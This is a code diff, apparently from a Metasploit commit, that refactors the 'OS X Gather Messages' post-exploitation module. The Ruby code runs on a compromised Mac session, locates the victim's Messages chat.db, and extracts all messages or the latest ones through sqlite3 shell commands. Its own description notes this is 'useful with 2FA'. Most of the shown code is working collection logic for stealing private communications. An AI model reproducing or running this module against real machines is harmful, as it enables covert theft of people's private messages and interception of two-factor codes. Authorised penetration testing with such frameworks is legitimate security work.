@@ -12,33 +12,65 @@ def initialize(info={})
12
12
super ( update_info ( info ,
13
13
'Name' => 'OS X Gather Messages' ,
14
14
'Description' => %q{
15
- This module will collect the Messages sqlite3 database files and chat logs
16
- from the victim's machine. There are four actions you may choose: DBFILE,
17
- READABLE, LATEST and ALL. DBFILE and READABLE will retrieve all messages and
18
- LATEST will retrieve the last X number of message (useful with 2FA). Module
19
- was tested with OSX 10.11 (El Capitan).
15
+ This module will collect the Messages sqlite3 database files and chat logs
16
+ from the victim's machine. There are four actions you may choose: DBFILE,
17
+ READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
18
+ LATEST will retrieve the last X number of messages (useful with 2FA). Module
19
+ was tested with OS X 10.11 (El Capitan).
20
20
} ,
21
21
'License' => MSF_LICENSE ,
22
- 'Author' => [ 'Geckom <geckom[at]redteamr.com>' ] ,
23
- 'Platform' => [ 'osx' ] ,
24
- 'SessionTypes' => [ " meterpreter" , " shell" ] ,
22
+ 'Author' => [ 'Geckom <geckom[at]redteamr.com>' ] ,
23
+ 'Platform' => [ 'osx' ] ,
24
+ 'SessionTypes' => [ ' meterpreter' , ' shell' ] ,
25
25
'Actions' =>
26
26
[
27
- [ 'DBFILE' , { 'Description' => 'Collect messages DB file' } ] ,
28
- [ 'READABLE' , { 'Description' => 'Collect messages DB and download in a readable format' } ] ,
29
- [ 'LATEST' , { 'Description' => 'Collect the latest message' } ] ,
30
- [ 'ALL' , { 'Description' => 'Collect all messages data' } ]
27
+ [ 'DBFILE' , 'Description' => 'Collect Messages DB file' ] ,
28
+ [ 'READABLE' , 'Description' => 'Collect Messages DB and download in a readable format' ] ,
29
+ [ 'LATEST' , 'Description' => 'Collect the latest message' ] ,
30
+ [ 'ALL' , 'Description' => 'Collect all Messages data' ]
31
31
] ,
32
32
'DefaultAction' => 'ALL'
33
33
) )
34
34
35
35
register_options (
36
36
[
37
37
OptInt . new ( 'MSGCOUNT' , [ false , 'Number of latest messages to retrieve.' , 3 ] ) ,
38
- OptString . new ( 'USER' , [ false , 'Username to retrieve messages from (defaults to current user)' , 'CURRENT' ] )
39
- ] , self . class )
38
+ OptString . new ( 'USER' , [ false , 'Username to retrieve messages from (defaults to current user)' ] )
39
+ ]
40
+ )
40
41
end
41
42
43
+ def run
44
+ if datastore [ 'USER' ]
45
+ user = datastore [ 'USER' ]
46
+ else
47
+ user = cmd_exec ( '/usr/bin/whoami' )
48
+ end
49
+
50
+ # Check file exists
51
+ messages_path = "/Users/#{ user } /Library/Messages/chat.db"
52
+ if file_exist? ( messages_path )
53
+ print_good ( "#{ peer } - Messages DB found: #{ messages_path } " )
54
+ else
55
+ fail_with ( Failure ::Unknown , "#{ peer } - Messages DB does not exist" )
56
+ end
57
+
58
+ # Check messages. And then set the default profile path
59
+ unless messages_path
60
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to find messages, will not continue" )
61
+ end
62
+
63
+ print_good ( "#{ peer } - Found Messages file: #{ messages_path } " )
64
+
65
+ files = [ ]
66
+
67
+ # Download file
68
+ files << get_db ( messages_path ) if action . name =~ /ALL|DBFILE/i
69
+ files << readable ( messages_path ) if action . name =~ /ALL|READABLE/i
70
+ files << latest ( messages_path ) if action . name =~ /ALL|LATEST/i
71
+
72
+ save ( files )
73
+ end
42
74
43
75
#
44
76
# Collect messages db file.
@@ -49,7 +81,6 @@ def get_db(messages_path)
49
81
{ filename : 'messages.db' , mime : 'bin' , data : message_data }
50
82
end
51
83
52
-
53
84
#
54
85
# Generate a readable version of the messages DB
55
86
#
@@ -68,7 +99,7 @@ def readable(messages_path)
68
99
'ORDER BY m.date;'
69
100
]
70
101
sql = sql . join ( ' ' )
71
- readable_data = exec_shell_cmd ( "sqlite3 #{ messages_path } '#{ sql } '" )
102
+ readable_data = cmd_exec ( "sqlite3 #{ messages_path } '#{ sql } '" )
72
103
{ filename : 'messages.txt' , mime : 'text/plain' , data : readable_data }
73
104
end
74
105
@@ -90,7 +121,7 @@ def latest(messages_path)
90
121
"ORDER BY m.date DESC LIMIT #{ datastore [ 'MSGCOUNT' ] } ;"
91
122
]
92
123
sql = sql . join ( ' ' )
93
- latest_data = exec_shell_cmd ( "sqlite3 #{ messages_path } '#{ sql } '" )
124
+ latest_data = cmd_exec ( "sqlite3 #{ messages_path } '#{ sql } '" )
94
125
print_good ( "#{ peer } - Latest messages: \n #{ latest_data } " )
95
126
{ filename : 'latest.txt' , mime : 'text/plain' , data : latest_data }
96
127
end
@@ -112,80 +143,4 @@ def save(data)
112
143
end
113
144
end
114
145
115
- #
116
- # Return an array or directory names
117
- #
118
- def dir ( path )
119
- results = [ ]
120
- subdirs = exec_shell_cmd ( "ls -l #{ path } " )
121
-
122
- unless subdirs =~ /No such file or directory/
123
- results = subdirs . scan ( /[A-Z][a-z][a-z]\x20 +\d +\x20 [\d \: ]+\x20 (.+)$/ ) . flatten
124
- end
125
-
126
- results
127
- end
128
-
129
- #
130
- # This is just a wrapper for cmd_exec(), except it chomp() the output,
131
- # and retry under certain conditions.
132
- #
133
- def exec_shell_cmd ( cmd )
134
- begin
135
- out = cmd_exec ( cmd ) . chomp
136
- rescue ::Timeout ::Error => e
137
- vprint_error ( "#{ peer } - #{ e . message } - retrying..." )
138
- retry
139
- rescue EOFError => e
140
- vprint_error ( "#{ peer } - #{ e . message } - retrying..." )
141
- retry
142
- end
143
- end
144
-
145
- #
146
- def locate_messages ( base )
147
- dir ( base ) . each do |folder |
148
- m = folder . match ( /(Messages)$/ )
149
- if m
150
- m = m [ 0 ] . gsub ( /\x20 / , "\\ \\ " ) + "/"
151
- return "#{ base } #{ m } "
152
- end
153
- end
154
-
155
- nil
156
- end
157
-
158
- def run
159
- if datastore [ 'USER' ] == 'CURRENT'
160
- user = exec_shell_cmd ( "/usr/bin/whoami" )
161
- else
162
- user = datastore [ 'USER' ]
163
- end
164
-
165
- # Check file exists
166
- messages_path = "/Users/#{ user } /Library/Messages/chat.db"
167
- if file_exist? ( messages_path )
168
- print_good ( "#{ peer } - Messages DB found: #{ messages_path } " )
169
- else
170
- fail_with ( Failure ::Unknown , "#{ peer } - Messages DB does not exist" )
171
- end
172
-
173
- # Check messages. And then set the default profile path
174
- unless messages_path
175
- fail_with ( Failure ::Unknown , "#{ peer } - Unable to find messages, will not continue" )
176
- end
177
-
178
- print_good ( "#{ peer } - Found messages file: #{ messages_path } " )
179
-
180
- files = [ ]
181
-
182
- # Download file
183
- files << get_db ( messages_path ) if action . name =~ /ALL|DBFILE/i
184
- files << readable ( messages_path ) if action . name =~ /ALL|READABLE/i
185
- files << latest ( messages_path ) if action . name =~ /ALL|LATEST/i
186
-
187
- save ( files )
188
-
189
- end
190
-
191
146
end
0 commit comments